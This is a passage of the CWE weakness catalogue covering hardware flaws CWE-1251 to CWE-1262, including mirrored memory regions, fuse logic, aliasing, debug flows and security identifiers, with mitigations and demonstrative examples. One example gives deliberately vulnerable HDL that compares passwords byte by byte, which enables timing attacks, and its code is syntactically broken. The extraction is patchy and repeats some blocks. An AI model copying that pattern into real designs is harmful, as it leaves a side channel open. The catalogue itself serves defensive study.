ParentOf	B	1249	Application-Level Admin Tool with Inconsistent View of Underlying Operating System	1774
ParentOf	B	1251	Mirrored Regions with Different Values	1778

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Cloud Computing *(Prevalence = Undetermined)*

Technology : Security IP *(Prevalence = Undetermined)*

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

CWE-1251: Mirrored Regions with Different Values

Weakness ID : 1251 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's architecture mirrors regions without ensuring that their contents always stay in sync.

Extended Description

Having mirrored regions with different values might result in the exposure of sensitive information and/or other consequences, including loss of access control.

Due to architectural and performance constraints, one might need to duplicate a resource. The most common example of doing this in computer architecture is the concept of cache, which keeps a "local" copy of the data element in memory, because the time to access the memory (which is located far off from the computing core) is significantly longer compared to the time it takes to access a local copy (cache). Thus, keeping a local copy of some distant entity provides significant performance improvement. Unfortunately, this improvement also comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync somehow, the computational result is no longer true.

In designing hardware, memory is not the only thing that gets mirrored. There are many other entities that get mirrored, too: registers, memory regions, and, in some cases, even whole units. For example, for a multi-core processor, if every memory access from any of those tens of cores goes through a single memory-management unit (MMU) for security reasons, then the MMU becomes a performance bottleneck. In such cases, it might make sense to create duplicate, local MMUs that will serve only a subset of the cores of processors rather than all of them. These local copies are also called "shadow copies" or "mirrored copies."

If the original resource that was being duplicated into these local copies never changed, the question of the local copies getting out of sync would not arise. Unfortunately, in many cases, the values inside the original copy change. For example, a memory range might be inaccessible during boot time, but once the boot process is over and the system is now in a stable state, that memory range may now be opened up for access. So, if a register(s) in the access-control unit stores the start and end addresses of the "accessible" memory chunks, those values would change after the boot process is over. Now, when the original copy changes, the mirrored copies must also change, and change fast.

This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:

- After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.
- After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.
- After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the shadow copy is still holding the "old" values, an attacker can exploit the old values. Then

it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.
- The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.
- Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Security IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are: Make this out-of-sync time period as small as possible, and Make the update process as robust as possible.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations

Weakness ID : 1252 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.

Extended Description

CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Microcontroller IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).

Phase: Integration

If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.

Demonstrative Examples

Example 1:

MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.

Example Language: Other *(bad)*

The optional MPU is not configured.

If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1253: Incorrect Selection of Fuse Values

Weakness ID : 1253 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The logic used to determine system-security state for the product relies on values sensed from the fuses, but it relies on 'negative' logic for an un-blown fuse.

Extended Description

Fuses are often used to store secret data, including security configuration data. When not blown, a fuse is considered to store a logic 0, and, when blown, it indicates a logic 1. Fuses are generally considered to be one-directional, i.e., once blown to logic 1, it cannot be reset to logic 0. However, if the logic used to determine system-security state (by leveraging the values sensed from the fuses) uses negative logic, an attacker might blow the fuse and drive the system to an unsecure state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Architecture and Design

Logic should be designed in a way that blown fuses do not put the product into an insecure state that can be leveraged by an attacker.

Demonstrative Examples

Example 1:

A chip implements secure boot and uses the sensed value of the fuse “do_secure_boot” to determine whether to perform secure boot or not. If this fuse value is “0”, the system performs secure boot. Otherwise, it does not perform secure boot. An attacker blows the "do_secure_boot" fuse to “1”. After reset, attacker loads custom bootloader, and, since the fuse value is now “1”, the system does not perform secure boot, and attacker can execute custom firmware image. Since the default, fuse-configuration value is 0, an attacker can blow it to 1 with inexpensive hardware. If the logic is reversed, then an attacker cannot reset the fuse. Note that, with specialized and expensive equipment, an attacker might be able to reset the fuse value to 0.

CWE-1254: Incorrect Comparison Logic Granularity

Weakness ID : 1254 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.

Extended Description

Comparison logic is used to compare a variety of objects including passwords, Message Authentication Codes (MACs), and responses to verification challenges. When comparison logic is implemented at a finer granularity (e.g., byte-by-byte comparison) and breaks in the case of a comparison failure, an attacker can exploit this implementation to identify when exactly the failure occurred. With multiple attempts, the attacker may be able to guesses the correct password/response to challenge and elevate their privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ChildOf	B	208	Observable Timing Discrepancy	488
PeerOf	B	1259	Improper Protection of Security Identifiers	1790
PeerOf	B	1261	Improper Handling of Single Event Upsets	1795

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Authorization	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

The hardware designer should ensure that comparison logic is implemented so as to compare in one operation instead in smaller chunks.

Demonstrative Examples

Example 1:

Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.

Example Language: Other *(bad)*

```
always_comb @ (posedge clk)
begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
if (entered_pass[(i*8 – 1) : i] eq golden_pass([i*8 -1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
break;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.

Example Language: *(informative)*

Either the comparison of the entire string should be done all at once or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant_access signal is set.

```
always_comb @ (posedge clk)
begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
```

```
if (entered_pass[(i*8 – 1) : i] eq golden_pass([i*8 -1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
continue;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Observed Examples

Reference	Description
CVE-2014-0984	The passwordCheck function in SAP Router 721 patch 117, 720 patch 411, 710 patch 029, and earlier terminates validation of a Route Permission Table entry password upon encountering the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0984*

CWE-1256: Hardware Features Enable Physical Attacks from Software

Weakness ID : 1256 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Software-controllable device functionality such as power and clock management permits unauthorized corruption of bits.

Extended Description

Fault injection attacks involve strategic corruption of bits in a hardware design to achieve a desired effect such as skipping an authentication step, elevating privileges, or altering the output of a cryptographic operation. Techniques employed to flip bits include low-cost methods such as manipulation of the device clock and voltage supply as well as high-cost but more precise techniques involving lasers. It is commonly assumed that an attacker requires physical access to the device to succeed in injecting faults. This assumption is false if the device has improperly secured power management features that allow untrusted programs to manipulate clock frequency or operating voltage. For mobile devices, minimizing power consumption is critical, but these devices run a wide variety of applications with different performance requirements. Software-controllable mechanisms to dynamically scale device voltage and frequency are common features in today's chipsets and can be exploited by attackers if protections are not in place. Other features, such as the ability to write repeatedly to DRAM at a rapid rate from unprivileged software can result in bit flips in other memory locations (Rowhammer).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions

Weakness ID : 1257 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by hardware. In this way, it could be possible that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.

Extended Description

Hardware product designs often need to implement memory protection features that enable privileged software to define isolation memory regions and access control (read/write) policies. Isolated memory regions can be defined on different memory spaces in a design (e.g. system physical address, virtual address, memory mapped IO).

Each memory cell must be mapped and assigned a system address that the core software can use to read/write to that memory. It is possible to map the same memory cell to multiple system addresses such that read/write to any of the aliased system addresses would be decoded to the same memory cell.

This is commonly done in hardware designs for redundancy and simplifying address decode logic. If one of the memory regions is corrupted or faults, then the hardware can switch to using the data in the mirrored memory region. Memory aliases can also be created in system address map if the address decoder unit ignores higher order address bits when mapping a smaller address region into the full system address.

A common security weakness that can exist in such memory mapping is that aliased memory regions could have different read/write access protections enforced by hardware such that an untrusted agent is blocked from accessing a memory address but is not blocked from accessing the corresponding aliased memory address. Such inconsistency can then be used to bypass the access protection and read or modify the protected memory.

An untrusted agent can also maliciously create memory aliases in the system address map if it is able to change the mapping of an address region or modify memory region sizes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Microcontroller IP *(Prevalence = Undetermined)*

Technology : Network on Chip IP *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	High
Integrity	Modify Memory	High
Availability	DoS: Instability	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

The same memory access control checks must be applied for any mirrored or aliased memory regions. If different memory protection units (MPU) are protecting the aliased regions, their protected range definitions and policies must be synchronized.

Phase: Architecture and Design

Phase: Implementation

The controls that allow enabling memory aliases or changing size of mapped memory regions must only be programmable by trusted software components.

Demonstrative Examples

Example 1:

For example, in a System on Chip (SoC) design the system fabric uses 16 bit addresses. An IP unit (Unit_A) has 4 kilobyte internal memory and is mapped into 16 kilobyte address range in system fabric address map.

To protect the register controls in Unit_A unprivileged software is blocked from accessing addresses between 0x0000 – 0x0FFF.

The address decoder of Unit_A masks off the higher order address bits and decodes only lower 12bits for computing the offset into the 4 kilobyte internal memory space.

Example Language: Other *(bad)*

In this design the aliased memory address ranges are these: 0x0000 – 0x0FFF, 0x1000 – 0x1FFF, 0x2000 – 0x2FFF, 0x3000 – 0x3FFF

Such that the same register can be accessed using four different addresses (e.g. 0x0000, 0x1000,0x2000,0x3000 all map to same register in Unit_A).

The system address filter only blocks access to range 0x0000 - 0x0FFF and does not block access to the aliased addresses in 0x1000 - 0x3FFF range. Thus, untrusted software can leverage the aliased memory addresses to bypass the memory protection.

Example Language: Other *(good)*

In this design the aliased memory addresses (0x1000 - 0x3FFF) could be blocked from all system software access since they are not used by software.

Alternately, the MPU logic can be changed to apply the memory protection policies to the full address range mapped to Unit_A (0x0000 - 0x3FFF).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1202	Memory and Storage Issues	1194	2010

CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows

Weakness ID : 1258 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.

Extended Description

Security sensitive values, keys, intermediate steps of cryptographic operations, etc. are stored in temporary registers in the hardware. These values must be cleared whenever debug mode is entered. Since all internal registers can typically be accessed through the debug interface, an untrusted debugger might gain access to this sensitive data that would otherwise have been inaccessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Whenever debug mode is enabled, all registers containing sensitive assets must be cleared.

Demonstrative Examples

Example 1:

A cryptographic core in a SoC is used for cryptographic acceleration and implements several cryptographic operations (e.g., computation of AES encryption and decryption, SHA-256, HMAC, etc.). The keys for these operations or intermediate values are stored in registers internal to the cryptographic core. These internal registers are in the Memory Mapped Input Output (MMIO) space and are blocked from access by software and other untrusted agents on the SoC. These registers are accessible through the debug and test interface.

Example Language: Other *(bad)*

In the above scenario, registers that store keys and intermediate values of cryptographic operations are not cleared when system enters debug mode. This allows an untrusted debugger to read the contents of these registers and gain access to secret keys.

Example Language: Other *(good)*

Whenever the chip enters debug mode, all these registers containing security-sensitive data should be cleared.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1259: Improper Protection of Security Identifiers

Weakness ID : 1259 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are improperly protected.

Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be ‘read’, ‘write’, ‘program’, ‘reset’, ‘fetch’, ‘compute’, etc. Security identifiers are assigned to every agent in the System that is either capable of generating an action or receiving an action from other agent. Every agent could be assigned a unique Security Identifier based on its trust level or privileges. Since the Security Identifiers are very important to achieve security in SoC, they should be protected properly. A common weakness that can exist is that the Security Identifiers are improperly protected. Consequently, the Security Identifier can be programmed by a malicious agent (i.e., the Security Identifier is mutable) to spoof the action as if it originated from a trusted agent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IPTechnology-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Files or Directories Execute Unauthorized Code or Commands Bypass Protection Mechanism Gain Privileges or Assume Identity Modify Memory Modify Memory DoS: Crash, Exit, or Restart	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Protection of Security Identifiers must be reviewed for design inconsistency and common weaknesses. Security-Identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

For example, consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary, access controls. The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed access to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Let’s assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Identifiers are “1” and “2”.

An agent with Security Identifier “1” has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security identifier is “1”.

Example Language: Other *(bad)*

The Aux-controller could program its Security Identifier to “1” from “2”.

The SoC does not properly protect the Security Identifier of the agents, and, hence, the Aux-controller in the above example can spoof the transaction (i.e., send the transaction as if it is coming from the Main-controller to access the access-controlled, AES-Key registers) by programming its Security Identifier to that of an agent that has access to the asset.

Example Language: Other *(good)*

The SoC should protect the Security Identifiers. None of the agents in the SoC should have the ability to change the Security Identifier.

CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges

Weakness ID : 1260 **Status:** Draft

Structure : Simple
Abstraction : Base

Description

The product allows address regions to overlap, which can result in the bypassing of intended memory protection.

Extended Description

Isolated memory regions and access control (read/write) policies are used by hardware to protect privileged software. Software components are often allowed to change or remap memory region definitions in order to enable flexible and dynamically changeable memory management by system software.

If a software component running at lower privilege can program a memory address region to overlap with other memory regions used by software running at higher privilege software a weakness is available for abuse. The memory protection unit (MPU) logic can incorrectly handle such an address overlap and allow the lower privilege software to read or write into the protected memory region resulting in privilege escalation attack. Address overlap weakness can also be used to launch a denial of service attack on the higher privilege software memory regions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Memory Read Memory DoS: Instability	High

Potential Mitigations

Phase: Architecture and Design

Ensure that memory regions are isolated as intended and that access control (read/write) policies are used by hardware to protect privileged software.

Phase: Implementation

For all of the programmable memory protection regions, the memory protection unit (MPU) design can define a priority scheme. For example: if three memory regions can be programmed

(Region_0, Region_1, and Region_2), the design can enforce a priority scheme, such that, if a system address is within multiple regions, then the region with the lowest ID takes priority and the access-control policy of that region will be applied. In some MPU designs, the priority scheme can also be programmed by trusted software. Hardware logic or trusted firmware can also check for region definitions and block programming of memory regions with overlapping addresses. The memory-access-control-check filter can also be designed to apply a policy filter to all of the overlapping ranges, i.e., if an address is within Region_0 and Region_1, then access to this address is only granted if both Region_0 and Region_1 policies allow the access.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider an example design with 16-bit address that has two software privilege levels: Privilege_SW and Non_privilege_SW.

To isolate the system memory regions accessible by these two privilege levels, the design

supports three memory regions: Region_0, Region_1, Region_2.

- Region_0 & Region_1: registers are programmable by Privilege_SW

- Region_2: registers are programmable by Non_privilege_SW

Each region range is defined by two 32 bit registers Address_range and Access_policy:

- Address_range[15:0]: specifies the Base address of the region

- Address_range[31:16]: specifies the size of the region

- Access_policy[0]: if set to one, allows reads from Non_privilege_SW

- Access_policy[1]: if set to one, allows writes from Non_privilege_SW

- Access_policy[0]: if set to one, allows reads from Privilege_SW

- Access_policy[1]: if set to one, allows writes from Privilege_SW

The address-protection filter checks the address range and access policies of all three regions and only allows software access if all three filters allow access.

Example Language: *(bad)*

In this design example, Non_privilege_SW cannot modify memory region and policies defined by Privilege_SW in Region_0 and Region_1. Thus, it cannot read or write the memory regions that Privilege_SW is using.

However, Non_privilege_SW can program Region_2 registers to overlap with Region_0 or Region_1, and it can also define the access policy of Region_2. Using this capability, it is possible for Non_privilege_SW to block any memory region from being accessed by Privilege_SW, including the memory regions protected by Region_0 and Region_1.

Example Language: *(good)*

In such a design, a memory region priority should be defined to ensure that the memory region defined by Non_privilege_SW in Region_2 cannot change the access policy defined in Region_0 or Region_1.

Observed Examples

CWE-1261: Improper Handling of Single Event Upsets

Weakness ID : 1261 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The hardware logic does not effectively handle when single-event upsets (SEUs) occur.

Extended Description

Technology trends such as CMOS-transistor down-sizing, use of new materials, and system-on-chip architectures continue to increase the sensitivity of systems to soft errors. These errors are random, and their causes might be internal (e.g., interconnect coupling) or external (e.g., cosmic radiation). These soft errors are not permanent in nature and cause temporary bit flips known as single-event upsets (SEUs). SEUs are induced errors in circuits caused when charged particles lose energy by ionizing the medium through which they pass, leaving behind a wake of electron-hole pairs that cause temporary failures. If these failures occur in security-sensitive modules in a chip, it might compromise the security guarantees of the chip. For instance, these temporary failures could be bit flips that change the privilege of a regular user to root.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Implement triple-modular redundancy around security-sensitive modules.

Phase: Architecture and Design

SEUs mostly affect SRAMs. For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.

Demonstrative Examples

Example 1:

This is an example from [REF-1089]. See the reference for full details of this issue.

Parity is error detecting but not error correcting.

Example Language: Other *(bad)*

Due to single-event upsets, bits are flipped in memories. As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.

Example Language: Other *(good)*

Using error-correcting codes could have avoided the restart caused by SEUs.

Example 2:

In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]

CWE-1262: Register Interface Allows Software Access to Sensitive Data or Security Settings

Weakness ID : 1262 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Memory-mapped registers provide access to hardware functionality from software and if not properly secured can result in loss of confidentiality and integrity.

Extended Description

It is common for software to access peripherals in an SoC through a memory-mapped register interface. Any security-critical data accessible directly or indirectly through the register interface must have a clearly defined access control policy which is correctly implemented to protect assets in the hardware design from software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Read Application Data Modify Memory	

Scope	Impact	Likelihood
	Modify Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism Unexpected State Alter Execution Logic *Confidentiality of hardware assets violated if the information can be read out by software through the register interface.Registers storing security state, settings, other security-critical data can be corruptible by software if protections are not in place.*	

Potential Mitigations

Phase: Architecture and Design

Design proper policies for how and if hardware registers can be accessed by software.

Phase: Implementation

Ensure access control policies for software in relation to hardware are implemented in accordance with intended design.

Demonstrative Examples

Example 1:

The register interface provides software access to hardware functionality but can also be viewed as an attack surface if untrusted code can execute in the system. As an example, cryptographic accelerators require a mechanism for software to select modes of operation, provide plaintext or ciphertext data to be encrypted/decrypted etc. This functionality is commonly provided through registers.

Example Language: *(bad)*

Cryptographic key material stored in registers inside the cryptographic accelerator can be accessed by software.

Example Language: *(good)*

Key material stored in registers should never be accessible to software. Even if software can provide a key, all read-back paths to software should be disabled.

